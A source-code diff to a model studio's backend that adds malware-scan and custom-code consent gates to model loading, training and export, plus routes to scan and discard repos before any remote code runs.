index 6b6deb1265..b81f217539 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -636,6 +636,7 @@ class InferenceOrchestrator:
         load_in_4bit: bool = True,
         hf_token: Optional[str] = None,
         trust_remote_code: bool = False,
+        approved_remote_code_fingerprint: Optional[str] = None,
         gpu_ids: Optional[list[int]] = None,
     ) -> bool:
         """Load a model for inference.
@@ -659,6 +660,7 @@ class InferenceOrchestrator:
                 "hf_token": hf_token or "",
                 "gguf_variant": getattr(config, "gguf_variant", None),
                 "trust_remote_code": trust_remote_code,
+                "approved_remote_code_fingerprint": approved_remote_code_fingerprint,
                 "gpu_ids": gpu_ids,
             }
             resolved_gpu_ids, gpu_selection = prepare_gpu_selection(
@@ -738,7 +740,8 @@ class InferenceOrchestrator:
                     logger.info("Model '%s' loaded successfully in subprocess", model_name)
                     return True
                 else:
-                    error = resp.get("error", "Failed to load model")
+                    # Worker reports failures (consent gate included) under "message".
+                    error = resp.get("message") or resp.get("error") or "Failed to load model"
                     self.loading_models.discard(model_name)
                     self.active_model_name = None
                     self.models.clear()
diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index 52d151ba15..f7435eebfb 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -260,13 +260,19 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
 
         # Auto-enable trust_remote_code only for NemotronH/Nano (config parsing
         # bugs require it). Must NOT match Llama-Nemotron (standard Llama arch).
+        from utils.security.trusted_org import is_trusted_org_repo
+
         _NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
         trust_remote_code = config.get("trust_remote_code", False)
         if not trust_remote_code:
             model_name = config["model_name"]
             _mn_lower = model_name.lower()
-            if any(sub in _mn_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) and (
-                _mn_lower.startswith("unsloth/") or _mn_lower.startswith("nvidia/")
+            if (
+                any(sub in _mn_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS)
+                and (_mn_lower.startswith("unsloth/") or _mn_lower.startswith("nvidia/"))
+                # Genuine first-party Hub repo only (not a local/spoof name starting
+                # with "unsloth/"); authenticated so private repos resolve.
+                and is_trusted_org_repo(model_name, hf_token = hf_token)
             ):
                 trust_remote_code = True
                 logger.info(
@@ -274,6 +280,65 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
                     model_name,
                 )
 
+        # Malware gate: a poisoned pickle deserializes during from_pretrained even
+        # with trust_remote_code False, so check HF's security scan (metadata-only)
+        # every load. For a LoRA, gate the base whose weights deserialize.
+        from utils.security import evaluate_file_security, security_load_subdirs
+
+        malware_targets = [config["model_name"]]
+        if mc.is_lora and getattr(mc, "base_model", None):
+            malware_targets.append(str(mc.base_model))
+        for target in dict.fromkeys(malware_targets):
+            _fs = evaluate_file_security(
+                target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token)
+            )
+            if _fs.blocked:
+                _send_response(
+                    resp_queue,
+                    {
+                        "type": "loaded",
+                        "success": False,
+                        "message": _fs.reason,
+                        "error_kind": "malware_blocked",
+                        "security": _fs.response_payload(),
+                        "ts": time.time(),
+                    },
+                )
+                return
+
+        # Consent gate: scan auto_map code before it runs; block CRITICAL/HIGH
+        # unless pinned-approved. For a LoRA, gate the base whose code runs.
+        if trust_remote_code:
+            from utils.security import evaluate_remote_code_consent_for_targets
+
+            consent_targets = [config["model_name"]]
+            if mc.is_lora and getattr(mc, "base_model", None):
+                consent_targets.append(str(mc.base_model))
+            # Scan adapter + base as one unit, pinned by a single fingerprint.
+            _rc = evaluate_remote_code_consent_for_targets(
+                consent_targets,
+                hf_token = hf_token,
+                trust_remote_code = True,
+                approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+            )
+            if _rc.blocked:
+                _send_response(
+                    resp_queue,
+                    {
+                        "type": "loaded",
+                        "success": False,
+                        "message": (
+                            f"Model '{_rc.model_name}' ships custom code flagged as "
+                            f"{_rc.max_severity} by the security scan. Review "
+                            f"and approve it to proceed."
+                        ),
+                        "error_kind": "remote_code_blocked",
+                        "remote_code": _rc.response_payload(),
+                        "ts": time.time(),
+                    },
+                )
+                return
+
         # Heartbeat every 30s so the orchestrator knows we're alive during slow loads.
         xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1"
 
diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index 0c3d42a2fe..d8126363fe 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -315,6 +315,7 @@ class TrainingBackend:
             "tensorboard_dir": kwargs.get("tensorboard_dir", "runs"),
             "resume_from_checkpoint": kwargs.get("resume_from_checkpoint"),
             "trust_remote_code": kwargs.get("trust_remote_code", False),
+            "approved_remote_code_fingerprint": kwargs.get("approved_remote_code_fingerprint"),
             "gpu_ids": kwargs.get("gpu_ids"),
             "s3_config": kwargs.get("s3_config"),
             # Flipped to True only by the HTTP-fallback respawn after a stall.
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 65533b6946..6374589930 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -1453,6 +1453,75 @@ def _run_mlx_training(event_queue, stop_queue, config):
     model_random_state = random_seed if _model_seed is None else int(_model_seed)
     _lora_seed = config.get("lora_random_state")
     lora_random_state = random_seed if _lora_seed is None else int(_lora_seed)
+
+    # Malware gate (MLX): a poisoned pickle deserializes on load even with
+    # trust_remote_code False, so check HF's security scan (metadata-only) first.
+    # For a LoRA, gate the base whose weights deserialize.
+    from utils.security import evaluate_file_security
+
+    malware_targets = [model_name]
+    try:
+        from utils.models.model_config import get_base_model_from_lora_identifier
+
+        # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too.
+        _base = get_base_model_from_lora_identifier(model_name, config.get("hf_token") or None)
+        if _base:
+            malware_targets.append(_base)
+    except Exception as exc:
+        logger.debug("Could not resolve LoRA base for malware scan: %s", exc)
+    from utils.security import security_load_subdirs
+
+    for target in dict.fromkeys(malware_targets):
+        _fs = evaluate_file_security(
+            target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token)
+        )
+        if _fs.blocked:
+            _send(
+                "error",
+                error = _fs.reason,
+                error_kind = "malware_blocked",
+                security = _fs.response_payload(),
+            )
+            return
+
+    # Consent gate (MLX): the CUDA path gates in run_training_process, but MLX returns
+    # before that, so scan auto_map code here before FastMLXModel runs it. Block
+    # CRITICAL/HIGH unless pinned-approved; for a LoRA, gate the base whose code runs.
+    if config.get("trust_remote_code", False):
+        from utils.security import evaluate_remote_code_consent_for_targets
+
+        consent_targets = [model_name]
+        try:
+            from utils.models.model_config import get_base_model_from_lora_identifier
+
+            # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too.
+            base_model = get_base_model_from_lora_identifier(
+                model_name, config.get("hf_token") or None
+            )
+            if base_model:
+                consent_targets.append(base_model)
+        except Exception as exc:
+            logger.debug("Could not resolve LoRA base for consent scan: %s", exc)
+        # Scan adapter + base as one combined unit, pinned by a single fingerprint.
+        _rc = evaluate_remote_code_consent_for_targets(
+            consent_targets,
+            hf_token = hf_token,
+            trust_remote_code = True,
+            approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+        )
+        if _rc.blocked:
+            _send(
+                "error",
+                error = (
+                    f"Model '{_rc.model_name}' ships custom code flagged as "
+                    f"{_rc.max_severity} by the security scan. Review it and "
+                    f"re-run with approval to proceed.\n\n{_rc.findings_summary}"
+                ),
+                error_kind = "remote_code_blocked",
+                remote_code = _rc.response_payload(),
+            )
+            return
+
     model, tokenizer = FastMLXModel.from_pretrained(
         model_name,
         load_in_4bit = config.get("load_in_4bit", True),
@@ -2100,11 +2169,16 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
     # NemotronH needs trust_remote_code=True to work around config-parsing bugs.
     # Other 5.x models are native and don't need it (it bypasses the compiler,
     # disabling fused CE). Must NOT match Llama-Nemotron (standard Llama arch).
+    from utils.security.trusted_org import is_trusted_org_repo
+
     _NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
     _lowered = model_name.lower()
     if (
         any(sub in _lowered for sub in _NEMOTRON_TRUST_SUBSTRINGS)
         and (_lowered.startswith("unsloth/") or _lowered.startswith("nvidia/"))
+        # Confirm a genuine first-party Hub repo (not a local/spoofed name starting
+        # with "unsloth/"); authenticated so private first-party repos resolve.
+        and is_trusted_org_repo(model_name, hf_token = config.get("hf_token") or None)
         and not config.get("trust_remote_code", False)
     ):
         config["trust_remote_code"] = True
@@ -2113,6 +2187,81 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
             model_name,
         )
 
+    # 1a. Malware gate: a poisoned pickle deserializes on load even with
+    # trust_remote_code False, so check HF's security scan (metadata-only) first.
+    # For a LoRA, gate the base whose weights deserialize.
+    from utils.security import evaluate_file_security
+
+    malware_targets = [model_name]
+    try:
+        from utils.models.model_config import get_base_model_from_lora_identifier
+
+        # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too.
+        _base = get_base_model_from_lora_identifier(model_name, config.get("hf_token") or None)
+        if _base:
+            malware_targets.append(_base)
+    except Exception as exc:
+        logger.debug("Could not resolve LoRA base for malware scan: %s", exc)
+    from utils.security import security_load_subdirs
+
+    _ls_hf = config.get("hf_token") or None
+    for target in dict.fromkeys(malware_targets):
+        _fs = evaluate_file_security(
+            target, hf_token = _ls_hf, load_subdirs = security_load_subdirs(target, _ls_hf)
+        )
+        if _fs.blocked:
+            event_queue.put(
+                {
+                    "type": "error",
+                    "error": _fs.reason,
+                    "error_kind": "malware_blocked",
+                    "security": _fs.response_payload(),
+                    "ts": time.time(),
+                }
+            )
+            return
+
+    # 1a'. Consent gate: scan auto_map Python before it runs; refuse CRITICAL/HIGH
+    # unless pinned-approved.
+    if config.get("trust_remote_code", False):
+        from utils.security import evaluate_remote_code_consent_for_targets
+
+        # A LoRA adapter's base is where custom code runs, so gate it too.
+        consent_targets = [model_name]
+        try:
+            from utils.models.model_config import get_base_model_from_lora_identifier
+
+            # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too.
+            base_model = get_base_model_from_lora_identifier(
+                model_name, config.get("hf_token") or None
+            )
+            if base_model:
+                consent_targets.append(base_model)
+        except Exception as exc:
+            logger.debug("Could not resolve LoRA base for consent scan: %s", exc)
+        # Scan adapter + base as one combined unit, pinned by a single fingerprint.
+        _rc = evaluate_remote_code_consent_for_targets(
+            consent_targets,
+            hf_token = config.get("hf_token") or None,
+            trust_remote_code = True,
+            approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+        )
+        if _rc.blocked:
+            event_queue.put(
+                {
+                    "type": "error",
+                    "error": (
+                        f"Model '{_rc.model_name}' ships custom code flagged as "
+                        f"{_rc.max_severity} by the security scan. Review it and "
+                        f"re-run with approval to proceed.\n\n{_rc.findings_summary}"
+                    ),
+                    "error_kind": "remote_code_blocked",
+                    "remote_code": _rc.response_payload(),
+                    "ts": time.time(),
+                }
+            )
+            return
+
     # ── 1b. Install fast-path kernel libraries for the chosen model.
     # 1) causal-conv1d ALWAYS runs eagerly via the substring path: some SSM
     #    modeling files lazy_load it without calling is_causal_conv1d_available.
@@ -3064,6 +3213,73 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) ->
         training_type = config.get("training_type", "LoRA/QLoRA")
         use_lora = training_type == "LoRA/QLoRA"
 
+        # Malware gate (embedding): a poisoned pickle deserializes on load even with
+        # trust_remote_code False, so check HF's security scan (metadata-only) first.
+        # For a LoRA, gate the base whose weights deserialize.
+        from utils.security import evaluate_file_security
+
+        malware_targets = [model_name]
+        try:
+            from utils.models.model_config import get_base_model_from_lora_identifier
+            _base = get_base_model_from_lora_identifier(model_name, hf_token)
+            if _base:
+                malware_targets.append(_base)
+        except Exception as exc:
+            logger.debug("Could not resolve LoRA base for malware scan: %s", exc)
+        from utils.security import security_load_subdirs
+
+        for target in dict.fromkeys(malware_targets):
+            _fs = evaluate_file_security(
+                target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token)
+            )
+            if _fs.blocked:
+                event_queue.put(
+                    {
+                        "type": "error",
+                        "error": _fs.reason,
+                        "error_kind": "malware_blocked",
+                        "security": _fs.response_payload(),
+                        "ts": time.time(),
+                    }
+                )
+                return
+
+        # Consent gate (embedding): scan any auto_map code before it runs; block
+        # CRITICAL/HIGH unless pinned-approved. A no-op without auto_map.
+        if config.get("trust_remote_code", False):
+            from utils.security import evaluate_remote_code_consent_for_targets
+
+            consent_targets = [model_name]
+            try:
+                from utils.models.model_config import get_base_model_from_lora_identifier
+                _cbase = get_base_model_from_lora_identifier(model_name, hf_token)
+                if _cbase:
+                    consent_targets.append(_cbase)
+            except Exception as exc:
+                logger.debug("Could not resolve LoRA base for consent scan: %s", exc)
+            # Scan adapter + base as one combined unit, pinned by a single fingerprint.
+            _rc = evaluate_remote_code_consent_for_targets(
+                consent_targets,
+                hf_token = hf_token,
+                trust_remote_code = True,
+                approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+            )
+            if _rc.blocked:
+                event_queue.put(
+                    {
+                        "type": "error",
+                        "error": (
+                            f"Model '{_rc.model_name}' ships custom code flagged as "
+                            f"{_rc.max_severity} by the security scan. Review it and "
+                            f"re-run with approval to proceed.\n\n{_rc.findings_summary}"
+                        ),
+                        "error_kind": "remote_code_blocked",
+                        "remote_code": _rc.response_payload(),
+                        "ts": time.time(),
+                    }
+                )
+                return
+
         model = FastSentenceTransformer.from_pretrained(
             model_name = model_name,
             max_seq_length = max_seq_length,
diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py
index 584f82dea0..6237197072 100644
--- a/studio/backend/models/export.py
+++ b/studio/backend/models/export.py
@@ -51,6 +51,14 @@ class LoadCheckpointRequest(BaseModel):
         False,
         description = "Allow loading models with custom code. Only enable for checkpoints/base models you trust.",
     )
+    approved_remote_code_fingerprint: Optional[str] = Field(
+        None,
+        description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.",
+    )
+    hf_token: Optional[str] = Field(
+        None,
+        description = "Hugging Face token used to scan/load gated checkpoints and their base models.",
+    )
 
 
 class ExportStatusResponse(BaseModel):
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index fdc3bb25c6..88799604e0 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -42,6 +42,10 @@ class LoadRequest(BaseModel):
         False,
         description = "Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust.",
     )
+    approved_remote_code_fingerprint: Optional[str] = Field(
+        None,
+        description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.",
+    )
     chat_template_override: Optional[str] = Field(
         None,
         description = "Custom Jinja2 chat template to use instead of the model's default",
@@ -149,6 +153,11 @@ class ValidateModelResponse(BaseModel):
         False,
         description = "Whether the model defaults require trust_remote_code to be enabled for loading.",
     )
+    requires_security_review: bool = Field(
+        False,
+        description = "Whether Hugging Face's security scan flagged unsafe files (e.g. a "
+        "malicious pickle), so the load is hard-blocked pending review.",
+    )
     context_length: Optional[int] = Field(
         None,
         description = "Native training context length, read from the GGUF header when the file "
diff --git a/studio/backend/models/training.py b/studio/backend/models/training.py
index 6cf8907b84..ae3061d943 100644
--- a/studio/backend/models/training.py
+++ b/studio/backend/models/training.py
@@ -108,6 +108,10 @@ class TrainingStartRequest(BaseModel):
         False,
         description = "Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust.",
     )
+    approved_remote_code_fingerprint: Optional[str] = Field(
+        None,
+        description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.",
+    )
 
     # Dataset parameters
     hf_dataset: Optional[str] = Field(None, description = "HuggingFace dataset identifier")
diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py
index f7b3a56a71..1b71cf5f57 100644
--- a/studio/backend/routes/export.py
+++ b/studio/backend/routes/export.py
@@ -93,6 +93,8 @@ async def load_checkpoint(
             max_seq_length = request.max_seq_length,
             load_in_4bit = request.load_in_4bit,
             trust_remote_code = request.trust_remote_code,
+            approved_remote_code_fingerprint = request.approved_remote_code_fingerprint,
+            hf_token = request.hf_token,
         )
 
         if not success:
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 0b95ad3987..bfceb9b904 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -2037,9 +2037,8 @@ async def load_model(
                     audio_type = _gguf_audio,
                     has_audio_input = getattr(llama_backend, "_has_audio_input", False),
                     inference = inference_config,
-                    requires_trust_remote_code = bool(
-                        inference_config.get("trust_remote_code", False)
-                    ),
+                    # GGUF loads via llama.cpp: auto_map never executes, so inert (matches validate_model).
+                    requires_trust_remote_code = False,
                     context_length = llama_backend.context_length,
                     max_context_length = llama_backend.max_context_length,
                     native_context_length = llama_backend.native_context_length,
@@ -2086,8 +2085,8 @@ async def load_model(
                     audio_type = _model_info.get("audio_type"),
                     has_audio_input = _model_info.get("has_audio_input", False),
                     inference = inference_config,
-                    requires_trust_remote_code = bool(
-                        inference_config.get("trust_remote_code", False)
+                    requires_trust_remote_code = _resolve_loaded_trust_remote_code(
+                        backend.active_model_name, _model_info, inference_config
                     ),
                     supports_reasoning = _sf_supports_reasoning,
                     reasoning_style = _sf_reasoning_style,
@@ -2325,7 +2324,8 @@ async def load_model(
                 audio_type = _gguf_audio,
                 has_audio_input = llama_backend._has_audio_input,
                 inference = inference_config,
-                requires_trust_remote_code = bool(inference_config.get("trust_remote_code", False)),
+                # GGUF loads via llama.cpp: auto_map never executes, so inert (matches validate_model).
+                requires_trust_remote_code = False,
                 context_length = llama_backend.context_length,
                 max_context_length = llama_backend.max_context_length,
                 native_context_length = llama_backend.native_context_length,
@@ -2418,6 +2418,7 @@ async def load_model(
             load_in_4bit = load_in_4bit,
             hf_token = request.hf_token,
             trust_remote_code = request.trust_remote_code,
+            approved_remote_code_fingerprint = request.approved_remote_code_fingerprint,
             gpu_ids = effective_gpu_ids,
         )
 
@@ -2458,6 +2459,23 @@ async def load_model(
         # Classify reasoning/tool flags via the GGUF sniffer.
         _sf_flags = _detect_safetensors_features(backend, _chat_template)
 
+        # Report validate_model's requirement (raw auto_map OR YAML) plus the value the
+        # load used, and persist it, so a later retry/rollback doesn't send
+        # trust_remote_code=false for a custom-code model (and status reports it too).
+        _requires_rc = _resolve_loaded_trust_remote_code(
+            config.identifier,
+            None,
+            inference_config,
+            request.hf_token,
+            trust_remote_code_used = bool(getattr(request, "trust_remote_code", False)),
+        )
+        try:
+            backend.models.setdefault(config.identifier, {})["requires_trust_remote_code"] = (
+                _requires_rc
+            )
+        except Exception:
+            pass
+
         return LoadResponse(
             status = "loaded",
             model = model_log_label if native_grant_backed else config.identifier,
@@ -2469,7 +2487,7 @@ async def load_model(
             audio_type = config.audio_type,
             has_audio_input = config.has_audio_input,
             inference = inference_config,
-            requires_trust_remote_code = bool(inference_config.get("trust_remote_code", False)),
+            requires_trust_remote_code = _requires_rc,
             supports_reasoning = _sf_flags["supports_reasoning"],
             reasoning_style = _sf_flags["reasoning_style"],
             reasoning_always_on = _sf_flags["reasoning_always_on"],
@@ -2522,6 +2540,76 @@ async def load_model(
         raise HTTPException(status_code = 500, detail = f"Failed to load model: {msg}")
 
 
+def _requires_trust_remote_code_for_model(
+    model_identifier: str, hf_token: Optional[str] = None
+) -> bool:
+    """Whether loading this model would execute custom repo code, so the consent
+    dialog must run first. True if the Studio YAML default enables
+    ``trust_remote_code`` OR the raw config declares an ``auto_map`` (Hub/local,
+    config.json or tokenizer_config.json). Reads raw JSON only; never imports
+    model code."""
+    from utils.inference import load_inference_config
+
+    try:
+        if bool(load_inference_config(model_identifier).get("trust_remote_code", False)):
+            return True
+    except Exception:
+        pass
+    try:
+        from utils.security.consent import _config_has_auto_map
+        return _config_has_auto_map(model_identifier, hf_token) is True
+    except Exception:
+        return False
+
+
+def _resolve_loaded_trust_remote_code(
+    model_id,
+    model_info,
+    inference_config,
+    hf_token = None,
+    trust_remote_code_used = False,
+) -> bool:
+    """TRC requirement to report for an ALREADY-LOADED model, consistent with
+    ``validate_model``.
+
+    ``validate_model`` reports ``requires_trust_remote_code`` from
+    ``_requires_trust_remote_code_for_model`` (YAML default OR raw ``auto_map``), but
+    the load / already-loaded / status responses historically reported only the YAML
+    default. That dropped raw-``auto_map`` models: after approving and loading one, the
+    response said ``false``, so the frontend stored ``false`` and a later retry/rollback
+    sent ``trust_remote_code=false`` and failed.
+
+    Resolution order: a value stored on the model at load time (so a status refresh does
+    not re-derive it) -> the trust_remote_code the load actually used -> the YAML default
+    -> the raw ``auto_map`` check (reads the loaded model's cached config; no network)."""
+    stored = (model_info or {}).get("requires_trust_remote_code")
+    if stored is not None:
+        return bool(stored)
+    if trust_remote_code_used or bool((inference_config or {}).get("trust_remote_code", False)):
+        return True
+    try:
+        return bool(_requires_trust_remote_code_for_model(model_id, hf_token))
+    except Exception:
+        return False
+
+
+def _requires_security_review_for_model(
+    model_identifier: str, hf_token: Optional[str] = None
+) -> bool:
+    """Whether Hugging Face's security scan flagged unsafe files for this repo, so
+    the consent dialog must open as a hard block before loading. Metadata-only;
+    never downloads the flagged files. Fails open (False) on any error."""
+    try:
+        from utils.security import evaluate_file_security, security_load_subdirs
+        return evaluate_file_security(
+            model_identifier,
+            hf_token,
+            load_subdirs = security_load_subdirs(model_identifier, hf_token),
+        ).blocked
+    except Exception:
+        return False
+
+
 @router.post("/validate", response_model = ValidateModelResponse)
 async def validate_model(
     request: ValidateModelRequest, current_subject: str = Depends(get_current_subject)
@@ -2550,7 +2638,34 @@ async def validate_model(
                 detail = f"Invalid model identifier: {model_log_label}",
             )
 
+        # Both checks cover the [adapter, base] set (matching the scan route and workers):
+        # either repo can ship auto_map code or a poisoned pickle.
+        security_targets = [config.identifier]
+        try:
+            from utils.models.model_config import get_base_model_from_lora_identifier
+
+            # Resolve a LOCAL or REMOTE adapter's base so its code/weights are reviewed too.
+            _base = get_base_model_from_lora_identifier(model_identifier, request.hf_token)
+            if _base:
+                security_targets.append(_base)
+        except Exception:
+            pass
+        security_targets = list(dict.fromkeys(security_targets))
+
         is_gguf = getattr(config, "is_gguf", False)
+        # A selected GGUF loads via llama.cpp: auto_map Python and root pickle weights in a
+        # mixed repo are inert for this load, so gating on them is a false positive. Only
+        # run the remote-code/security preflight for non-GGUF loads.
+        requires_trust_remote_code = False
+        requires_security_review = False
+        if not is_gguf:
+            requires_trust_remote_code = any(
+                _requires_trust_remote_code_for_model(_t, request.hf_token)
+                for _t in security_targets
+            )
+            requires_security_review = any(
+                _requires_security_review_for_model(_t, request.hf_token) for _t in security_targets
+            )
         # Native context length, read from the local GGUF header when present.
         # Lets the staged ("Load on selection" off) flow populate the context
         # slider before the GPU load; None until the file is downloaded.
@@ -2587,9 +2702,8 @@ async def validate_model(
             is_gguf = is_gguf,
             is_lora = getattr(config, "is_lora", False),
             is_vision = getattr(config, "is_vision", False),
-            requires_trust_remote_code = bool(
-                load_inference_config(config.identifier).get("trust_remote_code", False)
-            ),
+            requires_trust_remote_code = requires_trust_remote_code,
+            requires_security_review = requires_security_review,
             context_length = context_length,
         )
 
@@ -2898,9 +3012,8 @@ async def get_status(current_subject: str = Depends(get_current_subject)):
                 loading = [],
                 loaded = [_display_model_id] if _display_model_id else [],
                 inference = _inference_cfg,
-                requires_trust_remote_code = bool(
-                    (_inference_cfg or {}).get("trust_remote_code", False)
-                ),
+                # GGUF status: auto_map never executes, so inert (matches validate_model).
+                requires_trust_remote_code = False,
                 supports_reasoning = llama_backend.supports_reasoning,
                 reasoning_style = llama_backend.reasoning_style,
                 reasoning_always_on = llama_backend.reasoning_always_on,
@@ -2958,8 +3071,8 @@ async def get_status(current_subject: str = Depends(get_current_subject)):
             loading = list(getattr(backend, "loading_models", set())),
             loaded = list(backend.models.keys()),
             inference = inference_config,
-            requires_trust_remote_code = bool(
-                (inference_config or {}).get("trust_remote_code", False)
+            requires_trust_remote_code = _resolve_loaded_trust_remote_code(
+                backend.active_model_name, model_info, inference_config
             ),
             supports_reasoning = _sf_flags["supports_reasoning"],
             reasoning_style = _sf_flags["reasoning_style"],
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index c05522e64a..8eec7777c4 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -1532,16 +1532,22 @@ async def get_model_config(
         except Exception:
             pass
 
-        # Fallback: try AutoConfig directly.
+        # Fallback: read raw config.json (declarative fields only) -- a selection-time
+        # metadata probe that must never execute a repo's auto_map Python.
         if max_position_embeddings is None:
             try:
-                from transformers import AutoConfig as _AutoConfig
+                from utils.transformers_version import _load_config_json
+                from types import SimpleNamespace
 
-                _trust = model_name.lower().startswith("unsloth/")
-                _ac = _AutoConfig.from_pretrained(
-                    model_name, trust_remote_code = _trust, token = hf_token
-                )
-                max_position_embeddings = _get_max_position_embeddings(_ac)
+                _cfg = _load_config_json(model_name, hf_token = hf_token)
+                if _cfg is not None:
+
+                    def _to_ns(d):
+                        if isinstance(d, dict):
+                            return SimpleNamespace(**{k: _to_ns(v) for k, v in d.items()})
+                        return d
+
+                    max_position_embeddings = _get_max_position_embeddings(_to_ns(_cfg))
             except Exception:
                 pass
 
@@ -1574,6 +1580,195 @@ async def get_model_config(
         )
 
 
+@router.post("/remote-code-scan")
+async def scan_model_remote_code(
+    model_name: str = Body(..., embed = True),
+    hf_token: Optional[str] = Body(None, embed = True),
+    current_subject: str = Depends(get_current_subject),
+):
+    """Scan a model's ``auto_map`` custom code so the UI can show findings before
+    the user enables ``trust_remote_code``. Code-free: reads ``config.json`` and
+    statically scans the repo ``.py`` (never loads the model). Returns
+    ``has_remote_code`` plus the severity-tagged findings + a pinning fingerprint.
+
+    POST (not GET) so the ``hf_token`` for gated repos travels in the body and
+    never lands in a URL, browser history, or access log.
+    """
+    try:
+        from utils.security import preflight_remote_code_consent_for_targets
+
+        if not is_local_path(model_name):
+            model_name = resolve_cached_repo_id_case(model_name)
+        # Scan the adapter AND the base together (a LoRA runs both repos' code; a pickle
+        # can live in either), pinned by one combined fingerprint. Snapshot the primary's
+        # cache state BEFORE resolving the base: for a remote adapter that resolve
+        # downloads adapter_config.json, which would otherwise hide the adapter from
+        # cleanup on decline. On error treat as pre-existing so a decline never deletes it.
+        try:
+            _primary_preexisting = is_local_path(model_name) or _repo_in_any_hf_cache(model_name)
+        except Exception:
+            _primary_preexisting = True
+        security_targets = [model_name]
+        try:
+            from utils.models.model_config import get_base_model_from_lora_identifier
+
+            # Resolve a LOCAL or REMOTE adapter's base so its code/weights are scanned too.
+            _base = get_base_model_from_lora_identifier(model_name, hf_token)
+            if _base:
+                security_targets.append(_base)
+        except Exception:
+            pass
+        security_targets = list(dict.fromkeys(security_targets))
+        # Record every repo OUR scan is first to pull into the cache (adapter, base, and
+        # external auto_map repos like owner/name--module.Class), so a decline purges
+        # exactly what was downloaded. Computed BEFORE the preflight downloads, against
+        # every cache the discard searches, so a repo the user already had is not deleted.
+        from utils.security.remote_code_scan import external_auto_map_repos
+
+        scan_created_repos: list = []
+        _seen_created: set = set()
+
+        def _mark_scan_created(repo: str, *, preexisting: Optional[bool] = None) -> None:
+            if not repo or repo in _seen_created:
+                return
+            _seen_created.add(repo)
+            try:
+                already = (
+                    preexisting
+                    if preexisting is not None
+                    else (is_local_path(repo) or _repo_in_any_hf_cache(repo))
+                )
+                if not already:
+                    scan_created_repos.append(repo)
+            except Exception:
+                pass
+
+        for _target in security_targets:
+            # Use the pre-base-resolution snapshot for the primary (see above).
+            _mark_scan_created(
+                _target, preexisting = _primary_preexisting if _target == model_name else None
+            )
+            for _ext in external_auto_map_repos(_target, hf_token):
+                _mark_scan_created(_ext)
+        decision = preflight_remote_code_consent_for_targets(security_targets, hf_token = hf_token)
+        payload = decision.response_payload()
+        payload["requires_trust_remote_code"] = decision.has_remote_code
+        # created_by_scan = primary flag (older clients); scan_created_repos drives cleanup.
+        payload["created_by_scan"] = model_name in scan_created_repos
+        payload["scan_created_repos"] = scan_created_repos
+
+        # Malware gate (metadata-only): surface HF-flagged unsafe files so the dialog can
+        # hard-block. Orthogonal to remote code -- a poisoned pickle needs no auto_map.
+        from utils.security import evaluate_file_security, security_load_subdirs
+
+        unsafe_files: list = []
+        security_blocked = False
+        for _target in security_targets:
+            _sec = evaluate_file_security(
+                _target, hf_token = hf_token, load_subdirs = security_load_subdirs(_target, hf_token)
+            )
+            security_blocked = security_blocked or _sec.blocked
+            unsafe_files.extend(_sec.unsafe_files)
+        payload["unsafe_files"] = unsafe_files
+        payload["security_blocked"] = security_blocked
+        if security_blocked:
+            # Non-approvable hard block: approvable False hides "Enable and continue", and
+            # requires_trust_remote_code forces the dialog open even with no custom code.
+            payload["approvable"] = False
+            payload["requires_trust_remote_code"] = True
+            payload["error_kind"] = "malware_blocked"
+        return payload
+    except Exception as e:
+        raise log_and_http_error(
+            e,
+            500,
+            "Failed to scan model remote code",
+            event = "models.remote_code_scan_failed",
+            log = logger,
+        )
+
+
+@router.post("/discard-remote-code")
+async def discard_remote_code_download(
+    model_name: str = Body(..., embed = True), current_subject: str = Depends(get_current_subject)
+):
+    """Purge a repo the consent scan downloaded after the user DECLINED its custom
+    code, so untrusted code is not left on disk.
+
+    Safety: only ever deletes a metadata-only cache entry the scan created. It
+    refuses a local path (never touches user files), a currently-loaded model, and
+    any repo that has weight files cached (``*.safetensors`` / ``*.bin`` /
+    ``*.gguf``) -- i.e. a model the user actually downloaded. The frontend only
